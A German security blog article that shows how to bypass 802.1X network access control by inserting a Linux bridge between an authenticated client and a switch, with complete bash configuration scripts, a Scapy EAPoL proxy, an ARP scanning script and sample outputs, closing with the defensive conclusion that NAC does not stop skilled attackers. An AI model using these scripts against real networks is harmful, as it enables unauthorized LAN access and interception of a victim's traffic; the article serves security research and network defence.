Netzwerkzugangskontrolle nach 802.1X-2004 umgehen
Portbasierte Network Admission Control (NAC) entsprechend 802.1X soll verhindern, dass unerwünschte Endgeräte mit dem LAN verbunden werden können. In diesem Beitrag wird gezeigt, dass diese Zugangskontrolle leicht überwunden werden kann.
Der IEEE Standard 802.1X-2004 beschreibt ein Verfahren zur Authentifizierung und Autorisierung von Geräten, bevor diesen ein Zugang zum LAN über einen Switchport gewährt wird. Sofern sich ein angeschlossenes Gerät nicht authentifizieren kann, werden Pakete über den Port entweder nicht weitergeleitet, oder der Port wird automatisch einem VLAN mit begrenzten Verbindungsmöglichkeiten zugewiesen. Der Standard 802.1X-2004 geht davon aus, dass die Anzahl der angeschlossenen Systeme beschränkt ist auf genau ein Gerät beziehungsweise eine MAC Adresse pro Port. In der Praxis wird dies erreicht, indem die Kommunikation des Ports beschränkt wird, auf die MAC Adresse des zuerst erfolgreich authentifizierten Gerätes. Zusätzliche MAC Adressen werden anschließend bei Verletzung dieser Richtlinie entweder gefiltert, oder der Port wird vollständig abgeschaltet.
Für die Identifizierung und Authentifizierung eines Systems kommen entweder Informationen auf dem Gerät selbst in Frage (Maschinenauthentifizierung) oder es werden Benutzerinformationen verwendet (Benutzerkennung und Passwort). Mit 802.1X kann also sichergestellt werden, dass sich nur erwünschte, von der IT bereitgestellte Geräte mit dem LAN verbinden können bzw. nur registrierte Nutzer Zugriff erhalten. Es stellt sich bei näherer Betrachtung jedoch heraus, dass diese Zusage nicht eingehalten werden kann, wenn ein Angreifer physischen Zugriff auf die Verbindung zwischen dem authentifizierten Gerät und dem Switchport erlangt.
Überblick über die Funktionsweise von 802.1X-2004
Die beteiligten Parteien einer einfachen 802.1X-2004 Installation sind:
- Ein Client, auch Supplicant (Bittsteller) genannt
- Der Authenticator, in den meisten Fällen ein Switch, der die Anmeldung des Clients ermöglicht
- Ein Anmeldeserver, der es dem Authenticator erlaubt, mit den Anmeldedaten des Clients zu bestimmen, ob ein Gerät Zugang erhalten darf.
Die Anmeldung am Netz kann entweder vom Client initiiert werden (EAPoL-Start Paket), oder der Client erhält ein regelmäßig vom Authenticator ausgesendetes EAPoL-Request-Identity Paket. Die weitere Authentifizierung verläuft dann wie folgt:
Die Anmeldung wird erst durchlaufen, wenn die notwendigen Informationen bereitstehen. Bei einer Maschinenauthentifizierung ist dies nach dem Start des Betriebssystem. Wenn Nutzerinformationen notwendig sind, meldet sich das System an, sobald diese bekannt sind. Eine automatische Anmeldung erfolgt im Anschluss daran immer, wenn das einmal authentifizierte System vom Netzwerk getrennt wurde oder aus einem Schlafzustand aufgeweckt wird. Ein Angreifer muss also nicht unbedingt warten, bis sich ein Nutzer anmeldet. Ein unbeobachteter Laptop im Schlafzustand mit einem bereits angemeldeten Nutzer schaltet den Port in jedem Fall frei, sobald die Maschine aufgeweckt wird.
Wenn eine Punkt-zu-Punkt Verbindung keine ist
Eine grundlegende Annahme von 802.1X-2004 ist, dass nur ein System pro Port angeschlossen werden kann. In der Praxis wird dies durchgesetzt, indem nur Pakete von der einen MAC Adresse weitergeleitet werden, die an der Authentifizierung beteiligt war. In einer Ethernet Broadcast Domain können keine zwei Geräte dieselbe MAC Adresse haben. Zumindest dann nicht, wenn beide Geräte zuverlässig mit anderen Systemen kommunizieren sollen. Es ist jedoch durchaus möglich, ein weiteres Gerät zwischen Client und Authenticator unterzubringen, das zusätzliche Rechner mit der einen MAC des Clients kommunizieren lassen kann.
Schritt 0: Rechner zwischen Supplicant und Authenticator
Der Rechner zwischen Supplicant und Authenticator ist in diesem Beispiel ein Alix apu1d4 Single Board Computer mit drei Gigabit Netzwerkinterfaces. Als Betriebssystem kommt CentOS 7 zum Einsatz.
Basiskonfiguration
Weil der Switch (Authenticator) oft so konfiguriert ist, dass nicht authentifizierte MAC Adressen zu einer Abschaltung des Ports führen, ist genau darauf zu achten, dass das System von sich aus keinerlei Pakete versendet. Das Cent OS ist daher von allen Automatismen wie Network Manager, Zeroconf usw. zu befreien. Inhalt der /etc/sysctl.conf:
net.ipv4.conf.all.forwarding = 1 #Weiterleitung von Paketen net.ipv6.conf.all.disable_ipv6 = 1 #Kein IPv6 net.bridge.bridge-nf-call-iptables = 1 #Bridge soll Netfilter aufrufen
Konfiguration der Netzwerkinterfaces in /etc/sysconfig/network-scripts/:
# Interface zum Switch DEVICE=enp1s0 ONBOOT=no NM_CONTROLLED=no BOOTPROTO=static # Interface zum Angreifer DEVICE=enp2s0 ONBOOT=yes NM_CONTROLLED=no TYPE=Ethernet BOOTPROTO=static IPADDR=192.0.2.1 PREFIX=24 # Interface zum Client DEVICE=enp3s0 ONBOOT=no NM_CONTROLLED=no BOOTPROTO=static
Nach dem Systemstart ist allein das Interface enp2s0 aktiv, auf dem ein DHCP Server IP Adressen für die Geräte des Angreifers verteilt. Das Netzwerk 192.0.2.0/24 ist von der IANA reserviert als Beispielnetz für Dokumentationszwecke. Es ist an dieser Stelle offensichtlich seiner korrekten Verwendung zugeführt, hat aber darüber hinaus auch die Eigenschaft, weder im Internet noch in internen Netzen vorzukommen. Die IPs werden also sicher nicht mit Adressen im Internet oder im angegriffenen Netzwerk kollidieren.
Schritt 1: Start der Brücke zwischen Supplicant und Authenticator
Als erstes werden die Interfaces zu Client und Switch mit folgendem Script gestartet:
#!/bin/bash BD=$(dirname $0) . "$BD/config.sh" case $1 in 'up') # Ausgehende ARP Pakete verwerfen arptables -A OUTPUT -o $ATIF -j ACCEPT arptables -P OUTPUT DROP # Interfaces starten ifconfig $SWIF inet 0.0.0.0 up promisc ifconfig $CLIF inet 0.0.0.0 up promisc ;; 'down') ifconfig $SWIF inet 0.0.0.0 down ifconfig $CLIF inet 0.0.0.0 down arptables -P OUTPUT ACCEPT arptables -F OUTPUT ;; '*') echo 'allif [up|down]' exit 1 ;; esac exit 0
Die dazugehörige Konfigurationsdatei:
# Stage 1 SWIF='enp1s0' ATIF='enp2s0' CLIF='enp3s0' # Stage 2 BRIF='br0' BRIP='198.51.100.1/24'
ARPtables erlaubt analog zu IPTables den Fluss von Paketen einzuschränken, nur eben nicht für IP Pakete sondern für ARP Pakete. Ausgehende ARP Pakete werden allesamt verworfen und nur auf dem Interface in Richtung Angreifer erlaubt. Auf diese Weise ist sichergestellt, dass keine unerwünschten Pakete entkommen und die Portsecurity auf dem Switch zuschlägt.
Nachdem die Interfaces zu Client und Switch aktiviert wurden, kann die Bridge gestartet werden:
#!/bin/bash BD=$(dirname $0) . "$BD/config.sh" case $1 in 'up') brctl addbr $BRIF ifconfig $BRIF inet $BRIP up promisc brctl addif $BRIF $SWIF brctl addif $BRIF $CLIF ;; 'down') ifconfig $BRIF inet 0.0.0.0 down brctl delbr $BRIF ;; '*') echo 'brif [up|down]' exit 1 ;; esac exit 0
An dieser Stelle könnte der Client mit dem Rest des Netzwerkes kommunizieren. Dennoch bleibt der Port deaktiviert, da keine EAPoL Pakete den Client erreichen oder verlassen können. Die Ursache liegt in der Absenderadresse der EAPoL Pakete:
Ethernet II, Src: Cisco_c3:55:01 (00:0b:5f:c3:55:01), Dst: Nearest (01:80:c2:00:00:03) Destination: Nearest (01:80:c2:00:00:03) Address: Nearest (01:80:c2:00:00:03) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...1 .... .... .... .... = IG bit: Group address (multicast/broadcast) Source: Cisco_c3:55:01 (00:0b:5f:c3:55:01) Address: Cisco_c3:55:01 (00:0b:5f:c3:55:01) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: 802.1X Authentication (0x888e) Padding: 000000000000000000000000000000000000000000000000... 802.1X Authentication Version: 802.1X-2004 (2) Type: EAP Packet (0) Length: 5 Extensible Authentication Protocol Code: Request (1) Id: 2 Length: 5 Type: Identity (1) Identity:
Die Linux Bridge Implementation hält sich an IEEE 802.1D-2004 und leitet Pakete an eine Reihe von MAC Adressen nicht weiter u.a. eben auch an die „IEEE 802.1X PAE Address“ 01:80:c2:00:00:03. D.h. eine Authentifizierung kann über eine Bridge nicht zustande-kommen. Während andere die Linux Bridge dieser Funktion durch einen Patch berauben, ist es auch mit einem weniger dramatischen Eingriff getan.
Schritt 2: EAPoL Proxy
Mit einem Python Script kann unter Verwendung von Scapy die Weiterleitung der EAPoL Pakete nachgerüstet werden:
#!/usr/bin/python2 import sys import signal from threading import Thread,Lock import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * ############################################################################### # global list of running threads threads = [] # global lock to signal that we're still running still_running_lock = Lock() # Constants PEER_SW = 0 PEER_CL = 1 EAPOL_EAPPACKET = 0 EAPOL_START = 1 EAPOL_LOGOFF = 2 EAPOL_KEY = 3 EAPOL_ASF = 4 EAP_REQUEST = 1 EAP_RESPONSE = 2 EAP_SUCCESS = 3 EAP_FAILURE = 4 ############################################################################### class EAProxy(): def __init__(self, inputif, outputif, mypeer): self.inputif = inputif; self.outputif = outputif; self.mypeer = mypeer; self.peermac = '00:00:00:00:00:00' if self.mypeer == PEER_SW: self.myname = "SW" if self.mypeer == PEER_CL: self.myname = "CL" print("%s: input %s, output %s" % (self.myname, self.inputif, self.outputif)) def pktproc(self, pkt): if not pkt.haslayer(EAPOL): return if(pkt[EAPOL].type == EAPOL_EAPPACKET): print("%s: %s" % (self.myname, pkt.sprintf(r"SRC=%Ether.src% EAPOL Code=%EAPOL.type% EAP Code=%EAP.code% Type=%EAP.type%"))) if(pkt[EAP].code == EAP_REQUEST and self.mypeer == PEER_SW): if(pkt[Ether].src != self.peermac): self.peermac=pkt[Ether].src; print("%s: Learned new peer MAC %s" % (self.myname, self.peermac)) elif(pkt[EAP].code == EAP_RESPONSE and self.mypeer == PEER_CL): if(pkt[Ether].src != self.peermac): self.peermac=pkt[Ether].src; print("%s: Learned new peer MAC %s" % (self.myname, self.peermac)) elif(pkt[EAPOL].type == EAPOL_LOGOFF): print("%s: DROPPED %s" % (self.myname, pkt.sprintf(r"SRC=%Ether.src% EAPOL Code=%EAPOL.type%"))) return elif(pkt[EAPOL].type == EAPOL_START and self.mypeer == PEER_CL): print("%s: %s" % (self.myname, pkt.sprintf(r"SRC=%Ether.src% EAPOL Code=%EAPOL.type%"))) if(pkt[Ether].src != self.peermac): self.peermac=pkt[Ether].src; print("%s: Learned new peer MAC %s" % (self.myname, self.peermac)) if(pkt[Ether].src != self.peermac): return sendp(pkt, iface=self.outputif, verbose=0); def stopcheck(self, pkt): return not still_running_lock.locked(); def sniffloop(self): sniff(iface=self.inputif, filter="ether proto 0x888e", prn=self.pktproc, stop_filter=self.stopcheck) ############################################################################### def usage(): print 'Usage: eaproxy.py if-to-switch if-to-host' print '' print 'Example: sudo eaproxy enp1s0 enp3s0' print ' Proxies 802.1x requests and responses between two interfaces' # Catch signal and clean up threads def signal_handler(signal, frame): print 'Caught signal, exiting...' still_running_lock.release() for thread in threads: if thread.isAlive(): try: thread._Thread__stop() except: print(str(thread.getName()) + ' could not be terminated') sys.exit(0) ############################################################################### if __name__ == '__main__': if '-h' in sys.argv or '--help' in sys.argv or len(sys.argv) != 3: usage() sys.exit(-1) (switchif, hostif) = sys.argv[1:] still_running_lock.acquire() p1 = EAProxy(switchif, hostif, PEER_SW) p1.daemon = True threads.append(Thread(target=p1.sniffloop)) p2 = EAProxy(hostif, switchif, PEER_CL) p2.daemon = True threads.append(Thread(target=p2.sniffloop)) for t in threads: t.start() signal.signal(signal.SIGINT, signal_handler) signal.pause()
Das Script startet zwei Sniffer Threads, einen auf Client und einen auf Server Seite und leitet die 802.1X Pakete jeweils auf die andere Seite weiter. Wird der Proxy gestartet, erfolgt kurze Zeit später die Authentifizierung des Ports:
# ./eaproxy.py enp1s0 enp3s0 SW: input enp1s0, output enp3s0 CL: input enp3s0, output enp1s0 SW: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=REQUEST Type=ID SW: Learned new peer MAC 00:0b:5f:c3:55:01 CL: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=REQUEST Type=ID CL: SRC=b8:27:eb:7b:a0:76 EAPOL Code=EAP_PACKET EAP Code=RESPONSE Type=ID CL: Learned new peer MAC b8:27:eb:7b:a0:76 SW: SRC=b8:27:eb:7b:a0:76 EAPOL Code=EAP_PACKET EAP Code=RESPONSE Type=ID SW: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=REQUEST Type=13 CL: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=REQUEST Type=13 CL: SRC=b8:27:eb:7b:a0:76 EAPOL Code=EAP_PACKET EAP Code=RESPONSE Type=13 .... SW: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=SUCCESS Type=0 CL: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=SUCCESS Type=0
Der Client ist jetzt online und kann wie gewohnt mit dem Netzwerk kommunizieren. Anhand des nun fließenden Verkehrs lassen sich alle weiteren benötigten Informationen gewinnen:
- MAC Adresse des Switches
- MAC des Clients
- IP des Client und das Netzwerk in dem er sich befindet
- Das Gateway
Schritt 3: MAC und IP NAT
Nachdem alle Informationen über das Netzwerk bekannt sind, sieht die Konfigurations- datei wie folgt aus:
# Stage 1 SWIF='enp1s0' ATIF='enp2s0' CLIF='enp3s0' # Stage 2 BRIF='br0' BRIP='198.51.100.1/24' # Stage 3 SWMAC='00:0b:5f:c3:55:01' CLMAC='b8:27:eb:7b:a0:76' CLNET='192.168.200.0/24' CLIP='192.168.200.10' CLGW='192.168.200.1' ATNET='192.0.2.0/24'
Der Proxy selbst und die Clients des Angreifers werden hinter einem NAT versteckt, dass sowohl die MAC Adressen wie auch die IPs umfasst. Ebtables dient dabei zur Installation von Filterregeln auf der zuvor gestarteten transparenten Bridge zwischen Client und Switch:
#!/bin/bash BD=$(dirname $0) . "$BD/config.sh" BRMAC=$(</sys/class/net/$BRIF/address) case $1 in 'up') ebtables -t nat -A POSTROUTING -s $BRMAC -o $SWIF \ -j snat --to-src $CLMAC iptables -t nat -A POSTROUTING -o $BRIF -s $BRIP \ -j SNAT --to $CLIP iptables -t nat -A POSTROUTING -o $BRIF -s $ATNET \ -j SNAT --to $CLIP route add -net $CLNET dev $BRIF route add default gw $CLGW ;; 'down') route del default gw $CLGW route del -net $CLNET dev $BRIF iptables -t nat -F POSTROUTING ebtables -t nat -F POSTROUTING ;; '*') echo 'nat [up|down]' exit 1 ;; esac exit 0
Schritt 4: ARP reparieren
Linux selbst bietet keine Möglichkeit, den Inhalt von ARP Requests umzuschreiben. Die Link Layer Adressierung der Anfragen wird zwar umgesetzt, aber der Inhalt der Anfrage selbst bleibt falsch. Die Antworten gehen in der Folge natürlich verloren.
Ethernet II, Src: Raspberr_7b:a0:76 (b8:27:eb:7b:a0:76), Dst: Broadcast (ff:ff:ff:ff:ff:ff) Destination: Broadcast (ff:ff:ff:ff:ff:ff) Address: Broadcast (ff:ff:ff:ff:ff:ff) .... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default) .... ...1 .... .... .... .... = IG bit: Group address (multicast/broadcast) Source: Raspberr_7b:a0:76 (b8:27:eb:7b:a0:76) Address: Raspberr_7b:a0:76 (b8:27:eb:7b:a0:76) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: ARP (0x0806) Padding: 000000000000000000000000000000000000 Address Resolution Protocol (request) Hardware type: Ethernet (1) Protocol type: IP (0x0800) Hardware size: 6 Protocol size: 4 Opcode: request (1) Sender MAC address: PcEngine_3f:fc:18 (00:0d:b9:3f:fc:18) Sender IP address: 198.51.100.1 (198.51.100.1) Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) Target IP address: 192.168.200.1 (192.168.200.1)
Ohne ARP ist eine IP Kommunikation im LAN jedoch unmöglich. Wiederum ist die Lösung ein Script in Python, mit dessen Hilfe die notwendigen ARP Einträge statisch gesetzt werden könnnen:
#!/usr/bin/env python2 # # Requires IF set to promiscous for MAC != interface MAC # https://github.com/secdev/scapy/issues/17 import sys import argparse import logging import netaddr import re logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * ############################################################################### def getargs(argv): parser = argparse.ArgumentParser() parser.add_argument("-m", metavar="MAC", nargs=1, dest="mac", help="source mac address, default is interface MAC") parser.add_argument("-a", metavar="ADDRESS", dest="adr", nargs=1, help="source IP, default is interface IP") parser.add_argument("-i", metavar="INTERFACE", dest="iface", nargs=1, required=True, help="source interface") parser.add_argument("network", type=str, help="network to scan in CIDR notation") return parser.parse_args(argv) def main(argv): args = getargs(argv) mac = None adr = None if(args.mac): if(not re.match('^((([a-f]|[A-F]|[0-9]){2}):){5}([a-f]|[A-F]|[0-9]){2}$', args.mac[0])): print("Not a valid MAC address.") return(1) mac = args.mac[0] if(args.adr): try: ip = netaddr.IPAddress(args.adr[0]) except netaddr.AddrFormatError as err: print("IP address {0}".format(err)) return(1) except: print("Unexpected error: {0}".format(sys.exc_info()[0])) raise if(ip.version != 4): print("Source not an IPv4 address or network.") return(1) adr = str(ip) try: net = netaddr.IPNetwork(args.network); except netaddr.AddrFormatError as err: print("Network address {0}".format(err)) return(1) except: print("Unexpected error: {0}".format(sys.exc_info()[0])) raise if(net.version != 4): print("Target is not an IPv4 address or network.") return(1) qpkt = [] for ip in net.iter_hosts(): p = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=str(ip)) if(mac): p.src = mac p[ARP].hwsrc = mac if(adr): p[ARP].psrc = adr qpkt.append(p) try: (ans, unans) = srp(qpkt, iface=args.iface[0], verbose=0, timeout=1) except socket.error as err: print("Socket error: {0}".format(err)) return(1) except: print("Unexpected error: {0}".format(sys.exc_info()[0])) raise ans.summary(lambda(s, r): r.sprintf("%ARP.hwsrc% %ARP.psrc%")) return(0) ############################################################################### if __name__ == '__main__': sys.exit(main(sys.argv[1:]))
Unter Verwendung von arpscan.py löscht das folgende Script zuerst alle bestehenden statischen Einträge und fügt dann die Ergebnisse des ARP Scan als statische ARP Einträge hinzu:
#!/bin/bash BD="$(dirname $0)" AS="$BD/../arpscan.py" . "$BD/config.sh" arp -sani $BRIF | sed 's/^.*(\([^)]*\).*$/\1/' | while read IP; do echo "Deleting $IP" arp -d $IP done $AS -m $CLMAC -a $CLIP -i $SWIF $CLNET | while read MAC IP; do echo "Adding $IP at $MAC" arp -s -i $BRIF $IP $MAC done exit 0
Ergebnis:
# ./5arp Deleting 192.168.200.1 Adding 192.168.200.1 at 00:0c:29:63:3f:86 Adding 192.168.200.5 at 00:0b:5f:c3:55:00
Ab diesem Punkt sind die Rechner im LAN erreichbar und sowohl der Proxy Rechner wie auch Angreifer und Client sind gleichzeitig online. Die komplette Kommunikation des Clients kann abgehört und ggf. auch verändert werden. Nur ein direkter Angriff auf den Client ist nicht möglich. Hierfür müsste eine Adresse aus dem direkt verbundenen Netzwerk für ein SNAT geopfert werden, um als Absendeadresse für die Kommunikation in Richtung des Clients herzuhalten.
Fazit
Wie immer bei Sicherheitslösungen sollte am Anfang die Frage stehen, gegen was bzw. gegen wen soll ein Schutz aufgebaut werden. Geht es darum, einem „Gelegenheitstäter“ den Zugang zum LAN mit einem nicht authorisierten Gerät zu verwehren, dann ist 802.1X ein angebrachtes Mittel. Die Annahme, dass auch motivierte und technisch fähige Angreifer durch 802.1X ausgeschlossen werden könnten, wäre allerdings falsch. Folglich muss bei Überlegungen, wie das interne Netz abgesichert werden kann, angenommen werden, dass die NAC überwunden wurde, und der Angreifer mit einem eigenen Gerät in allen nur darüber abgesicherten (V)LANs online gehen kann.
Quellen und weiterführende Literatur
Wesentliche Elemente dieses Projektes beruhen auf dem Vortrag „A Bridge too far“ von Alva ‚Skip‘ Duckwall anlässlich der Defcon 19. Link zum Vortrag auf Youtube und den zugehörigen Folien.